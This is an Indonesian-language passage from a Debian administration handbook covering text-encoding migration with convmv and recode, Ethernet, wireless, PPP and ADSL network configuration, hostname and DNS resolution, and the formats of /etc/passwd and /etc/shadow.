Ketika teks terkirim (atau tersimpan) tanpa informasi encoding, tidak selalu mungkn untuk penerima mengetahui dengan pasti konvensi apa yang digunakan untuk menentukan makna seperangkat byte. Anda biasanya mendapatkan sebuah ide dengan mengambil statistik pada distribusi nilai yang disajikan dalam teks, namun hal tersebut tak selalu memberikan jawaban pasti. Ketika sistem encoding dipilih untuk membaca pembeda dari yang digunakan dalam menulis berkas, byte salah diinterpretasikan, dan Anda dapat, yang terbaik, kesalahan pada beberapa karakter, atau, yang terburuk, sesuatu sama sekali tak terbaca.

Jadi, jika teks Bahasa Prancis nampak normal dengan pengecualian huruf beraksen dan simbol tertentu yang nampak diganti dengan urutan karakter seperti “Ã©” atau Ã¨” atau “Ã§”, ini mungkin sebuah berkas ber-encode sebagai UTF-8 namun ditafsirkan sebagai ISO-8859-1 atau ISO-8859-15. Ini merupakan tanda sebuah instalasi lokal yang belum dimigrasikan ke UTF-8. Jika, sebaliknya, Anda melihat tanda tanya alih-alih huruf beraksen - bahkan jika tanda tanya ini nampak mengganti sebuah karakter yang harus diikuti huruf beraksen - nampaknya instalasi Anda telah terkonfigurasi untuk UTF-8 dan bahwa Anda telah dikirimi sebuah dokumen di-encode dalam Western ISO.

Banyak kasus “sederhana”. Kasus ini hanya muncul di kultur Western, karena Unicode (dan UTF-8) telah didesain untuk memaksimalkan poin umum dengan sejarah encoding untuk bahasa Barat berdasarkan alfabet Latin, yang memungkinkan pengenalan bagian teks bahkan ketika beberapa karakter hilang.

Dalam konfigurasi yang lebih kompleks, yang, sebagai contoh, melibatkan dua lingkungan masing-masing dua bahasa berbeda yang tidak menggunakan alfabet yang sama, Anda sering mendapatkan hasil yang tak terbaca - serangkaian simbol abstrak yang tidak diketahui satu sama lain. Ini khususnya umum dengan bahasa Asia disebabkan oleh berbagai bahasa dan sistem penulisan mereka. Istilah Jepang mojibake telah diadopsi untuk menjelaskan fenomena ini. Ketika hal ini muncul, diagnosa lebih kompleks dan solusi paling sederhana seringkali dengan memigrasikan keduanya ke UTF-8.

Sejauh nama berkas diperhatikan, migrasi dapat relatif sederhana. Alat convmv (dalam paket dengan nama yang sama) dibuat secara khusus untuk tujuan ini; ini memungkinkan mengganti nama berkas dari satu encoding ke lainnya. Penggunaan alat ini relatif sederhana, namun kami merekomendasikan melakukannya dalam dua langkah untuk menghindari kejutan. Contoh berikut mengilustrasikan lingkungan UTF-8 berisi nama direktori ter-encode dalam ISO-8859-15, dan menggunakan convmv untuk mengganti namanya.

$ ls travail/

Ic?nes  ?l?ments graphiques  Textes

$ convmv -r -f iso-8859-15 -t utf-8 travail/

Starting a dry run without changes...

mv "travail/�l�ments graphiques"        "travail/Éléments graphiques"

mv "travail/Ic�nes"     "travail/Icônes"

No changes to your files done. Use --notest to finally rename the files.

$ convmv -r --notest -f iso-8859-15 -t utf-8 travail/

mv "travail/�l�ments graphiques"        "travail/Éléments graphiques"

mv "travail/Ic�nes"     "travail/Icônes"

Ready!

$ ls travail/

Éléments graphiques  Icônes  Textes

Untuk konten berkasnya, prosedur konversinya lebih kompleks disebabkan oleh banyak varian format berkas yang ada. Beberapa format berkas menyertakan informasi encoding yang memfasilitasi tugas perangkat lunak yang digunakan untuk menanganinya; ini cukup, kemudian, buka berkas tersebut dan simpan-ulang dengan menentukan encoding UTF-8. Dalam kasus lain, Anda harus menentukan encoding asli (ISO-8859-1 atau “Western”, atau ISO-8859-15 atau “Western (Euro)”, berdasarkan formulasinya) ketika membuka berkas.

Untuk berkas teks sederhana, Anda dapat menggunakan recode (dalam paket dengan nama sama) yang memungkinkan recoding otomatis. Alat ini memiliki banyak pilihan jadi Anda dapat bermain dengan tabiatnya. Kami merekomendasikan Anda memeriksa dokumentasi, man page recode(1), atau info page recode (lebih lengkap).

8.2. Mengonfigurasi Jaringan

KEMBALI KE DASAR Konsep penting jaringan (Ethernet, alamat IP, subnet, broadcast)

Kebanyakan jaringan lokal modern menggunakan protokol Ethernet, dimana data dibagi ke dalam blok-blok kecil yang disebut bingkai dan ditransmisikan pada kabel satu bingkai sekali transmisi. Kecepatan data bervariasi dari 10 Mb/s untuk kartu Ethernet tua ke 100 Gb/s pada kartu terbaru (dengan kecepatan paling umum sedang berkembang dari 100 Mb/s ke 10 Gb/s). Kabel yang paling sering digunakan adalah 10BASE-T, 100BASE-T, 1000BASE-T, 10GBASE-T, atau 40GBASE-T tergantung pada kecepatan efektif yang dapat mereka tampung (T berarti “twisted pair”); kabel tersebut berujung pada konektor RJ45. Ada tipe kabel lain, paling banyak digunakan untuk kecepatan 10 Gb/s dan yang lebih tinggi.

Alamat IP adalah sebuah angka yang digunakan untuk mengidentifikasi antarmuka jaringan pada sebuah komputer dalam jaringan lokal atau Internet. Saat ini versi IP (IPv4) yang paling banyak digunakan, nomor ini di-encode dalam 32 bit, dan biasanya direpresentasikan sebagai 4 nomor dipisahkan oleh titik (mis. 192.168.0.1), setiap nomor dapat diisi antara 0 dan 255 (inklusif, yang sama dengan data 8 bit). Protokol versi berikutnya, IPv6, memerluas ruang pengalamatan ke 128 bit, dan alamat umumnya direpresentasikan sebagai serangkaian nomor heksadesimal dipisahkan oleh titik dua (mis., 2001:0db8:13bb:0002:0000:0000:0000:0020, atau 2001:db8:13bb:2::20 pendeknya).

Sebuah subnet mask (netmask) menentukan kode binernya yang merupakan bagian dari alamat IP berhubungan dengan jaringan, pengingatnya menentukan mesin. Dalam contoh konfigurasi alamat IPv4 statis yang diberikan di sini, subnet mask, 255.255.255.0 (24-nya “1” diikuti oleh 8-nya “0” dalam representasi biner) menunjukkan bahwa 24 bit yang pertama dari alamat IP berupa alamat jaringan, dan 8 lainnya spesifik ke mesin. Dalam IPv6, agar terbaca, hanya angka “1” yang dinyatakan; netmask untuk jaringan IPv6 berupa 64.

Alamat jaringan merupakan alamat IP yang bagian yang menjelaskan nomor mesinnya berupa 0. Range alamat IPv4 dalam jaringan lengkap seringkali ditentukan oleh sintaks, a.b.c.d/e, di mana a.b.c.d merupakan alamat jaringan dan e adalah jumlah bit berpengaruh terhadap bagian jaringan dalam alamat IP. Contoh jaringan tersebut tertulis: 192.168.0.0/24. Sintaks yang mirip dalam IPv6: 2001:db8:13bb:2::/64.

Router adalah mesin yang menghubungkan beberapa jaringan satu sama lain. Seluruh trafik yang melalui router diarahkan ke jaringan yang tepat. Untuk melakukan ini, router menganalisa paket datang dan meneruskannya berdasarkan alamat IP tujuannya. Router seringkali disebut juga gateway; dalam konfigurasi ini, dia bekerja sebagai sebuah mesin yang membantu menjangkau jaringan lokal (menuju jaringan lainnya, seperti Internet).

Alamat broadcast khusus menghubungkan seluruh stasiun dalam sebuah jaringan. Hampir tak pernah “diroute”, dia hanya berfungsi pada jaringan tersebut. Secara spesifik, berarti bahwa paket data yang dialamatkan ke broadcast tidak pernah dilewatkan ke router.

Bab ini fokus pada alamat IPv4, karena saat ini mereka yang paling umum digunakan. Rincian tentang protokol IPv6 pendekatannya ada di Bagian 10.6, “IPv6”, namun konsepnya sama saja.

Jaringan secara otomatis dikonfigurasi selama instalasi awal. Jika Network Manager terinstal (yang biasanya terjadi untuk instalasi desktop lengkap), mungkin sebenarnya tidak diperlukan konfigurasi (misalnya, jika Anda mengandalkan DHCP pada koneksi kabel dan tidak memiliki persyaratan khusus). Jika sebuah konfigurasi diperlukan (misalnya, untuk antarmuka WiFi), maka itu akan membuat berkas yang sesuai di /etc/NetworkManager/system-connections/.

CATATAN NetworkManager

Jika Network Manager direkomendasikan dalam pengaturan roaming (lihat Bagian 8.2.5, “Konfigurasi Jaringan Otomatis untuk Pengguna Luar”), dia juga sangat berguna sebagai pengatur jaringan standar. Anda dapat membuat “Koneksi sistem” yang digunakan sesegera setelah komputer boot entah itu secara manual dengan berkas mirip .ini dalam /etc/NetworkManager/system-connections/ atau melalui tool grafis (nm-connection-editor). Jika Anda memakai ifupdown, ingatlah untuk menonaktifkan entri dalam /etc/network/interfaces yang Anda inginkan Network Manager menanganinya.

→ https://wiki.gnome.org/Projects/NetworkManager/SystemSettings

→ https://developer.gnome.org/NetworkManager/1.14/ref-settings.html

Jika Network Manager tidak diinstal, maka penginstal akan mengkonfigurasi ifupdown dengan membuat berkas /etc/network/interfaces. Sebuah baris yang dimulai dengan auto memberikan daftar antarmuka yang akan dikonfigurasi secara otomatis saat boot oleh layanan networking. Ketika ada banyak antarmuka, adalah praktik yang baik untuk menyimpan konfigurasi pada berkas-berkas yang berbeda di dalam /etc/network/interfaces.d/.

Dalam konteks server, ifupdown adalah alat konfigurasi jaringan yang biasanya Anda dapatkan. Itulah mengapa kami akan membahasnya di bagian selanjutnya.

8.2.1. Antarmuka Ethernet

Jika komputer memiliki sebuah kartu Ethernet, jaringan IP yang bersesuaian dengannya harus dikonfigurasi dengan memilih salah satu metode. Metode yang paling sederhana adalah konfigurasi dinamis dengan DHCP, dan dia memerlukan server DHCP pada jaringan lokal. Ini mungkin menunjukkan hostname yang diinginkan, berhubungan dengan pengaturan hostname dalam contoh berikut. Server DHCP kemudian mengirimkan pengaturan konfigurasi untuk jaringan yang sesuai.

Contoh 8.1. Konfigurasi DHCP

auto enp0s31f6

iface enp0s31f6 inet dhcp

hostname arrakis

DALAM PRAKTEK Nama-nama antarmuka jaringan

Secara default, kernel memberi atribut nama generik seperti eth0 (untuk Ethernet kabel) atau wlan0 (untuk WiFi) ke antarmuka jaringan. Nomor dalam nama-nama tersebut adalah penghitung inkremental sederhana yang mewakili urutan di mana mereka telah terdeteksi. Dengan perangkat keras modern, urutan mungkin berubah setiap reboot dan dengan demikian nama default tidak dapat diandalkan.

Untungnya, systemd dan udev dapat mengubah nama antarmuka segera setelah mereka muncul. Kebijakan nama default didefinisikan oleh /lib/systemd/network/99-default.link (lihat systemd.link(5) untuk penjelasan tentang entri NamePolicy dalam berkas tersebut). Dalam praktiknya, nama-nama sering didasarkan pada lokasi fisik perangkat (seperti yang ditebak oleh di mana mereka terhubung) dan Anda akan melihat nama dimulai dengan en untuk ethernet kabel dan wl untuk WiFi. Dalam contoh di atas, sisa nama menunjukkan, dalam bentuk singkatan, nomor bus PCI (p) (0), nomor slot (s31), nomor fungsi (f6).

Jelas, Anda bebas untuk mengganti kebijakan ini dan/atau untuk melengkapinya untuk menyesuaikan nama-nama beberapa antarmuka tertentu. Anda dapat mengetahui nama antarmuka jaringan dalam keluaran ip addr (atau sebagai nama berkas di /sys/class/net/).

Dalam beberapa kasus khusus mungkin perlu untuk menonaktifkan penamaan konsisten perangkat jaringan seperti yang dijelaskan di atas. Selain mengubah aturan default udev juga dimungkinkan untuk mem-boot sistem menggunakan parameter kernel net.ifnames=0 dan biosdevname=0 untuk mencapainya.

Konfigurasi “statis” harus menunjukkan pengaturan jaringan secara tetap. Termasuk setidaknya alamat IP dan subnet mask; jaringan dan alamat broadcast kadang juga termasuk. Sebuah router menghubungkan ke jaringan luar akan disebut gateway.

Contoh 8.2. Konfigurasi statis

auto enp0s31f6

iface enp0s31f6 inet static

address 192.168.0.3/24

broadcast 192.168.0.255

network 192.168.0.0

gateway 192.168.0.1

CATATAN Banyak alamat

Mungkin saja tidak hanya mengasosiasikan beberapa antarmuka ke kartu jaringan tunggal, namun juga beberapa alamat IP ke satu antarmuka. Ingat juga bahwa alamat IP dapat bersesuaian ke beberapa nama melalui DNS, dan bahwa sebuah nama dapat pula bersesuaian ke beberapa alamat IP numerik.

Seperti yang dapat Anda kira, konfigurasi dapat menjadi agak kompleks, namun pilihan ini hanya digunakan dalam kasus yang sangat khusus. Contoh yang dikutip di sini berupa konfigurasi yang tak biasa.

8.2.2. Antarmuka Nirkabel

Membuat kartu jaringan nirkabel berfungsi bisa jadi sedikit lebih menantang. Pertama-tama, mereka sering membutuhkan instalasi firmware proprietari yang tidak diinstal secara default di Debian. Kemudian jaringan nirkabel mengandalkan kriptografi untuk membatasi akses hanya ke pengguna yang berwenang, ini berarti menyimpan beberapa kunci rahasia dalam konfigurasi jaringan. Mari kita bahas topik itu satu per satu.

8.2.2.1. Memasang firmware yang diperlukan

Pertama, Anda harus mengaktifkan repositori non-free di berkas sources.list APT: lihat Bagian 6.1, “Mengisi Berkas sources.list” untuk detail tentang berkas ini. Banyak firmware adalah proprietari dan karenanya ditempatkan di repositori ini. Anda dapat mencoba melewati langkah ini jika Anda mau, tetapi jika langkah berikutnya tidak menemukan firmware yang diperlukan, coba lagi setelah mengaktifkan bagian non-free.

Kemudian Anda harus menginstal paket firmware-* yang sesuai. Jika Anda tidak tahu paket mana yang Anda butuhkan, Anda dapat menginstal paket isenkram dan menjalankan perintah isenkram-autoinstall-firmware. Paket-paket tersebut sering kali dinamai menurut pabrikan perangkat keras atau modul kernel yang sesuai: firmware-iwlwifi untuk kartu nirkabel Intel, firmware-atheros untuk Qualcomm Atheros, firmware-ralink ] untuk Ralink, dll. Reboot disarankan karena driver kernel biasanya mencari berkas firmware saat pertama kali dimuat dan tidak lagi setelah itu.

8.2.2.2. Entri spesifik nirkabel dalam /etc/network/interfaces

ifupdown mampu mengelola antarmuka nirkabel tetapi membutuhkan bantuan dari paket wpasupplicant yang menyediakan integrasi yang diperlukan antara perintah ifupdown dan wpa_supplicant yang digunakan untuk mengkonfigurasi antarmuka nirkabel (saat menggunakan enkripsi WPA / WPA2). Entri yang biasa di /etc/network/interfaces perlu diperluas dengan dua parameter tambahan untuk menentukan nama jaringan nirkabel (alias SSID-nya) dan Pre-Shared Key ( PSK).

Contoh 8.3. Konfigurasi DHCP untuk antarmuka nirkabel

auto wlp4s0

iface wlp4s0 inet dhcp

wpa-ssid Falcot

wpa-psk ccb290fd4fe6b22935cbae31449e050edd02ad44627b16ce0151668f5f53c01b

Parameter wpa-psk dapat berisi frasa sandi teks biasa atau versi hashnya yang dihasilkan dengan wpa_passphrase SSID frasa sandi. Jika Anda menggunakan koneksi nirkabel yang tidak terenkripsi, maka Anda harus memasukkan entri wpa-key-mgmt NONE dan tidak ada entri wpa-psk. Untuk informasi lebih lanjut tentang opsi konfigurasi yang memungkinkan, lihat /usr/share/doc/wpasupplicant/README.Debian.gz.

Pada titik ini, Anda harus mempertimbangkan untuk membatasi izin baca di /etc/network/interfaces ke pengguna root hanya karena berkas tersebut berisi kunci pribadi yang sebaiknya tidak diakses oleh semua pengguna.

SEJARAH Enkripsi WEP

Penggunaan protokol enkripsi WEP yang tidak digunakan lagi dimungkinkan dengan paket wireless-tools. Lihat /usr/share/doc/wireless-tools/README. Debian untuk instruksi.

8.2.3. Terhubung dengan PPP melalui modem PSTN

Koneksi point to pont (PPP) berlangsung sebuah koneksi yang berselang-seling; ini adalah solusi umum untuk koneksi yang dibuat dengan modem telepon (“PSTN modem”, karena koneksi melalui kabel jaringan telepon publik).

Koneksi dengan modem telepon memerlukan sebuah akun dengan akses provider, termasuk nomor telepon, nama pengguna, dan kata sandi, dan, terkadang protokol otentikasi yang digunakan. Koneksi dikonfigurasi menggunakan peralatan pppconfig dalam paket Debian dengan nama yang sama. Secara standar, dia mengatur nama koneksi provider (sebagai penyedia layanan Internet). Ketika ragu tentang protokol otentikasi, pilih PAP: ini ditawarkan oleh kebanyakan penyedia layanan Internet.

Setelah konfigurasi, adalah mungkin untuk menghubungkan dengan perintah pon (berikan nama koneksi sebagai parameter, ketika nilai standar dari provider tidak cocok). Link diputus dengan perintah poff. Kedua perintah ini dapat dieksekusi oleh root, atau pengguna lain, yang ada dalam group dip.

8.2.4. Menghubungkan melalui modem ADSL

Istilah generik “ADSL modem” mencakup berbagai perangkat dengan fungsi yang sangat berbeda. Modem yang paling sederhana untuk digunakan dengan Linux adalah yang memiliki antarmuka Ethernet (dan tak hanya antarmuka USB). Ini menjadi populer; kebanyakan penyedia layanan meminjamkan (atau sewa) sebuah “box” ADSL dengan antarmuka Ethernet. Tergantung pada tipe modem, konfigurasi yang diperlukan dapat bermacam-macam.

8.2.4.1. Modem Mendukung PPPOE

Beberapa modem Ethernet bekerja dengan protokol PPPOE (Point to Point Protocol over Ethernet). Alat pppoeconf (dari paket dengan nama yang sama) akan mengonfigurasi koneksi. Untuk melakukannya, dia memodifikasi berkas /etc/ppp/peers/dsl-provider dengan pengaturan yang disediakan dan merekam informasi login di berkas /etc/ppp/pap-secrets dan /etc/ppp/chap-secrets. Disarankan untuk menerima seluruh modifikasi yang ditawarkan.

Setelah konfigurasinya lengkap, Anda dapat membuka koneksi ADSL dengan perintah, pon dsl-provider dan memutuskannya dengan poff dsl-provider.

TIP Memulai ppp saat boot

Koneksi PPP melalui ADSL, secara definisi, terputus-putus. Karena mereka biasanya tidak ditagih berdasarkan waktu, ada beberapa dorongan untuk menjaganya tetap terbuka. Cara standar untuk melakukannya adalah dengan menggunakan sistem init.

Dengan systemd, menambahkan suatu tugas yang secara otomatis dimulai lagi bagi koneksi ADSL cukup dengan membuat suatu "berkas unit" seperti /etc/systemd/system/adsl-connection-service, dengan isi sebagai berikut:

[Unit]

Description=ADSL connection

[Service]

Type=forking

ExecStart=/usr/sbin/pppd call dsl-provider

Restart=always

[Install]

WantedBy=multi-user.target

Sekali berkas unit ini didefiniskan, itu perlu diaktifkan dengan systemctl enable adsl-connection. Lalu pengulangan dapat diawali secara manual memakai systemctl start adsl-connection; itu juga akan dimulai secara otomatis saat boot.

Pada sistem yang tidak memakai systemd (termasuk Wheezy dan versi Debian yang lebih lama), init SystemV standar bekerja secara berbeda. Pada sistem seperti itu, yang diperlukan adalah menambahkan baris berikut pada akhir berkas /etc/inittab; kemudian, kapan pun koneksi terputus, init akan menyambungkannya lagi.

adsl:2345:respawn:/usr/sbin/pppd call dsl-provider

Untuk koneksi ADSL yang memutus otomatis setiap hari, metode ini mengurangi durasi interupsi.

8.2.4.2. Modem Mendukung PPTP

Protokol PPTP (Point-to-Point Tunneling Protocol) dibuat oleh Microsoft. Digelar pada permulaan ADSL, ini telah digantikan secara cepat oleh PPPOE. Jika protokol ini dipaksakan pada Anda, lihat Bagian 10.3.4, “PPTP”.

8.2.4.3. Modem Mendukung DHCP

Ketika sebuah modem terhubung ke komputer dengan sebuah kabel Ethernet (kabel crossover) Anda secara khusus mengonfigurasi koneksi jaringan dengan DHCP pada komputer; modem secara otomatis bertindak sebagai gateway secara default dan menangani routing (berarti dia mengatur traffik jaringan antara komputer dan Internet).

KEMBALI KE DASAR Kabel crossover untuk koneksi Ethernet langsung

Kartu jaringan komputer berharap menerima data pada kawat khusus dalam kabel, dan mengirim datanya ke yang lainnya. Ketika menghubungkan komputer ke jaringan lokal, Anda biasanya menghubungkan sebuah kabel (straight atau crossover) antara kartu jaringan dan sebuah repeater atau switch. Akan tetapi, jika Anda ingin menghubungkan dua komputer secara langsung (tanpa perantara switch atau repeater), Anda harus me-route sinyal terkirim oleh satu kartu ke sisi penerima kartu lain, dan sebaliknya. Ini adalah tujuan kabel crossover, dan alasannya dipergunakan.

Perhatikan bahwa perbedaan ini menjadi hampir tidak relevan seiring berjalannya waktu, kartu jaringan modern dapat mendeteksi tipe kabel yang ada dan mengadaptasi yang sesuai dengannya, jadi tidak akan menjadi tak biasa bahwa kedua jenis kabel akan bekerja pada suatu lokasi tertentu.

Kebanyakan “ADSL routers” di pasaran dapat digunakan seperti ini, sebagaimana kebanyakan modem ADSL disediakan oleh penyedia layanan Internet.

8.2.5. Konfigurasi Jaringan Otomatis untuk Pengguna Luar

Banyak insinyur Falcot memiliki komputer laptop yang, untuk tujuan profesional, mereka gunakan juga di rumah. Konfigurasi jaringan yang digunakan berbeda berdasarkan lokasinya. Di rumah, mungkin berupa jaringan wifi (dilindungi oleh sebuah kunci WPA), ketika di tempat kerja menggunakan jaringan kabel untuk alasan keamanan dan bandwidth yang lebih.

Untuk menghindari penghubungan dan pemutusan masing-masing antarmuka jaringan, administrator menginstall paket network-manager pada mesin roaming tersebut. Perangkat lunak ini memungkinkan pengguna unguk secara mudah berganti dari satu jaringan ke yang lainnya menggunakan sebuah ikon kecil yang ditampilkan pada area notifikasi dari desktop grafis mereka. Melakukan klik pada ikon ini menampilkan daftar jaringan tersedia (kabel dan wireless), agar mereka dapat memilih jaringan yang ingin mereka gunakan dengan mudah. Program menyimpan konfigurasi untuk jaringan yang telah dihubungkan oleh pengguna, dan secara otomatis berganti ke jaringan terbaik yang tersedia ketika koneksi terkini lenyap.

Untuk melakukan ini, struktur program diatur dalam dua bagian: sebuah daemon dijalankan sebagai root menangani aktivasi dan konfigurasi antarmuka jaringan dan antarmuka pengguna mengontrol daemon ini. PoricyKit menangani otorisasi yang diperlukan untuk mengontrol program ini dan Debian mengonfigurasi PolicyKit sedemikian rupa sehingga anggota group netdev dapat menambahkan atau mengubah koneksi Network Manager.

Network Manager mengetahui bagaimana menangani berbagai tipe koneksi (DHCP, konfigurasi manual, jaringan lokal), namun hanya jika konfigurasi diatur dengan program itu sendiri. Oleh karena itu, dia akan mengabaikan seluruh antarmuka jaringan secara sistematis di /etc/network/interfaces dan /etc/network/interfaces.d/ untuk yang tidak cocok. Karena Network Manager tidak memberikan rincian ketika tidak ada jaringan yang muncul, cara termudahnya adalah dengan menghapusnya dari /etc/network/interfaces beberapa konfigurasi untuk seluruh antarmuka yang harus diatur oleh Network Manager.

Catat bahwa program ini diinstall secara standar ketika “Desktop Environment” dipilih ketika instalasi awal.

8.3. Mengatur Hostname dan Mengonfigurasi Name Service

Tujuan penetapan nama ke nomor IP adalah untuk membuatnya lebih mudah diingat oleh orang. Kenyataannya, sebuah alamat IP merupakan antarmuka jaringan yang diasosiasikan dengan sebuah perangkat seperti kartu jaringan. Karena setiap mesin dapat memiliki beberapa kartu jaringan, dan beberapa antarmuka pada setiap kartu, satu komputer dapat memiliki beberapa nama dalam sistem nama domain.

Setiap mesin, akan tetapi, diidentifikasi dengan sebuah nama utama (atau “canonical”), tersimpan di berkas /etc/hostname dan dikomunikaskan ke kernel Linux dengan skrip inisiasi melalui perintah hostname. Nilai terkini tersedia dalam sistem berkas virtual, dan Anda dapat mengambilnya dengan perintah cat /proc/sys/kernel/hostname.

KEMBALI KE DASAR /proc/ dan /sys/, sistem berkas virtual

Pohon berkas /proc/ dan /sys/ dihasilkan oleh sistem berkas “virtual”. Ini merupakan cara praktis merekoveri informasi dari kernel (dengan mendaftar berkas virtual) dan berkomunikasi dengannya (dengan menulis ke berkas virtual).

/sys/ khususnya didesain untuk menyediakan akses ke objek internal kernel, khususnya yang menggambarkan berbagai perangkan pada sistem. Oleh sebab itu, kernel dapat berbagi berbagai keping informasi: status tiap perangkat (misalnya, jika dia dalam mode hemat energi), apakah merupakan perangkat mudah lepas, dll. Catat bahwa /sys/ hanya ada sejak kernel versi 2.6. /proc/ menjelaskan keadaan kernel saat ini: berkas-berkas dalam direktori memuat informasi tentang proses-proses yang sedang berjalan pada sistem dan perangkat kerasnya.

Herannya, nama domain tidak diatur dengan cara yang sama, namun datang dari nama lengkap dari mesin, didapatkan melalui resolusi nama. Anda dapat mengubahnya dalam berkas /etc/hosts; caranya tulis nama lengkap untuk mesin di sana di awal daftar nama yang sesuai dengan alamat mesin, sebagaimana contoh berikut:

127.0.0.1     localhost

192.168.0.1   arrakis.falcot.com arrakis

8.3.1. Resolusi Nama

Mekanisme resolusi nama di Linux modular dan dapat menggunakan berbagai sumber informasi yang dideklarasikan di berkas /etc/nsswitch.conf. Entri yang melibatkan resolusi nama host ialah hosts. Secara default, berisi files dns, yang berarti sistem membaca berkas /etc/hosts terlebih dahulu, kemudian server DNS. NIS/NIS+ atau server LDAP merupakan kemungkinan sumber lain.

CATATAN NSS dan DNS

Berhati-hatilah bahwa perintah khususnya dimaksudkan untuk membaca DNS (khususnya host) jangan menggunakan mekanisme resolusi nama standar (NSS). Konsekuensinya, mereka tidak memertimbangkan /etc/nsswitch.conf, dan demikian pula, /etc/hosts juga tidak.

8.3.1.1. Mengonfigurasi Server DNS

DNS (Layanan Nama Domain) merupakan layanan terdistribusi dn hirarkis pemetaan nama ke alamat IP, dan sebaliknya. Khususnya, dapat mengubah nama yang mudah dikenali manusia seperti www.eyrolles.com menjadi alamat IP aslinya, 213.244.11.247.

Untuk mengakses informasi DNS, sebuah server DNS harus tersedia untuk merelay permintaan. Falcot Corp memilikinya, namun pengguna tunggal nampaknya perlu menggunakan server DNS yang disediakan oleh ISP mereka.

Server DNS yang digunakan ditunjukkan dalam /etc/resolv.conf, satu per baris, dengan katakunci nameserver diikuti sebuah alamat IP, sebagaimana contoh berikut:

nameserver 212.27.32.176

nameserver 212.27.32.177

nameserver 8.8.8.8

Perhatikan bahwa berkas /etc/resolv.conf mungkin ditangani secara otomatis (dan ditimpa) ketika jaringan dikelola oleh NetworkManager atau dikonfigurasi melalui DHCP.

8.3.1.2. Berkas /etc/hosts

Jika dalam jaringan lokal tidak tersedia server nama, masih memungkinkan untuk membuat pemetaan kecil alamat IP dan nama host mesin dalam berkas /etc/hosts, biasanya dicadangkan untuk stasiun jaringan lokal. Sintaks berkas ini sebagaimana diuraikan dalam hosts(5) sangat sederhana: setiap baris menunjukkan alamat IP spesifik diikuti daftar nama terkait (yang pertama “completely qualified”, artinya menyertakan nama domain).

Berkas ini tersedia bahkan selama di luar jaringan atau ketika server DNS tidak terjangkau, namun hanya benar-benar bermanfaat ketika terduplikasi pada seluruh mesin dalam jaringan. Perubahan sekecil apapun dalam korespondensi akan perlu memerbarui berkas di mana-mana. Oleh karena itu, /etc/hosts umumnya hanya berisi entri yang paling penting.

Berkas ini akan cukup untuk sebuah jaringan kecil yang tidak terhubung ke Internet, tapi dengan 5 mesin atau lebih, direkomendasikan untuk menginstall server DNS yang tepat.

TIP Melompati DNS

Karena aplikasi memeriksa berkas /etc/hosts sebelum membaca DNS, memungkinkan untuk menyertakan informasi di dalamnya yang berbeda dari apa yang ditampilkan DNS, dan oleh karenanya, untuk melompati resolusi nama berbasis-DNS.

Hal ini mengizinkan, ketika perubahan DNS belum terpropagansi, untuk mencoba akses ke website dengan nama yang diharapkan bahkan jika namanya tidak terpetakan dengan baik ke alamat IP yang tepat.

Kemungkinan penggunaan lain untuk mengarahkan trafik yang diharapkan ke host tertentu ke localhost, mencegah komunikasi dengan host yang diberikan. Misalnya, hostname server yang didedikasikan untuk menyajikan iklan harus dialihkan yang akan membypass iklan ini hasilnya lebih tak pasti, kurang mengganggu, navigasi.

8.4. Pengguna dan Basisdata Kelompok

Daftar pengguna biasanya disimpan di berkas /etc/passwd, ketika berkas /etc/shadow menyimpan kata sandi ter-hash. Keduanya berupa berkas teks, dalam format yang relatif sederhana, yang dapat dibaca dan dimodifikasi dengan teks editor. Setiap pengguna terdaftar di sana dalam sebuah baris dengan beberapa field dipisahkan dengan titik dua (“:”).

CATATAN Menyunting berkas sistem

Berkas sistem yang disebutkan di bab ini seluruhnya berupa berkas teks polos, dan dapat disunting dengan teks editor. Memertimbangkan betapa penting fungsionalitasnya ke sistem inti, sebaiknya lebih berhati-hati ketika menyunting berkas sistem. Pertama, selalu buat salinan atau backup dari berkas sistem sebelum membuka atau menyuntingnya. Kedua, pada server atau mesin di mana lebih dari satu orang yang mungkin mengakses berkas yang sama, lakukan beberapa langkah untuk melindungi dari korupsi berkas.

Untuk tujuan ini, cukup gunakan perintah vipw untuk menyunting berkas /etc/passwd, atau vigr untuk menyunting /etc/group. Perintah ini mengunci berkas yang dimaksud setelah menjalankan teks editor, (secara default vi, kecuali variabel lingkungan EDITOR telah diubah). Pilihan -s pada perintah ini mengizinkan penyuntingan berkas shadow yang sesuai.

KEMBALI KE DASAR Crypt, fungsi searah

crypt merupakan fungsi searah yang mengubah string (A) ke string lain (B) di mana A tidak dapat diturunkan dari B. Satu-satunya cara mengidentifikasi A ialah dengan mengetes semua variabel yang mungkin, memeriksa satu per satu apakah perubahan fungsi akan menghasilkan B atau tidak. Menggunakan hingga 8 karakter sebagai masukan (string A) dan menghasilkan satu dari 13 string, dapat tercetak, karakter ASCII (string B).

8.4.1. Daftar Pengguna: /etc/passwd

Berikut ini daftar field dalam berkas /etc/passwd:

- login, contohnya rhertzog;

- password: kata sandi ini terenkripsi oleh fungsi searah (crypt), menggunakan DES, MD5, SHA-256 atau SHA-512. Nilai khusus “x” menandakan bahwa kata sandi terenkripsi disimpan di /etc/shadow;

- uid: nomor identifikasi unik tiap pengguna;

- gid: nomor unik untuk kelompok utama pengguna (secara default Debian membuat kelompok khusus untuk tiap pengguna);

- GECOS: field data biasanya berisi nama lengkap pengguna;

- direktori login, diberikan ke pengguna ruang untuk berkas pribadi mereka (variabel lingkungan $HOME umumnya mengarah ke sini);

- program yang dieksekusi ketika login. Ini biasanya berupa perintah interpreter (shell), memberikan kebebasan pada pengguna. Jika Anda menentukan /bin/false (yang tak melakukan apapun dan mengembalikan kontrol seketika), pengguna tidak dapat login.

KEMBALI KE DASAR Kelompok unix

Sebuah kelompok Unix merupakan sebuah entitas termasuk beberapa pengguna jadi mereka dapat berbagi secara mudah menggunakan sistem hak akses terintegrasi (dengan memanfaatkan hak yang sama). Anda dapat juga menghalangi penggunaan beberapa program ke kelompok tertentu.

8.4.2. Berkas Kata Sandi Tersembunyi dan Terenkripsi: /etc/shadow

Berkas /etc/shadow berisi field-field berikut:

- login;

- kata sandi terenkripsi;

- beberapa field mengelola masa kadaluarsa kata sandi.

KEAMANAN Keamanan berkas /etc/shadow

/etc/shadow, tak seperti rivalnya, /etc/passwd, tidak dapat dibaca oleh pengguna biasa. Kata sandi ter-hash yang tersimpan di /etc/passwd dapat dibaca oleh siapa saja; seorang cracker dapat mencoba untuk “merusak” (atau mengambil) password dengan salah satu metode “brute force” yang, mencoba menebak kombinasi karakter yang biasa digunakan. Serangan ini — disebut "dictionary attack" — tak lagi mungkin pada sistem yang menggunakan /etc/shadow.

DOKUMENTASI Format berkas /etc/passwd, /etc/shadow dan /etc/group

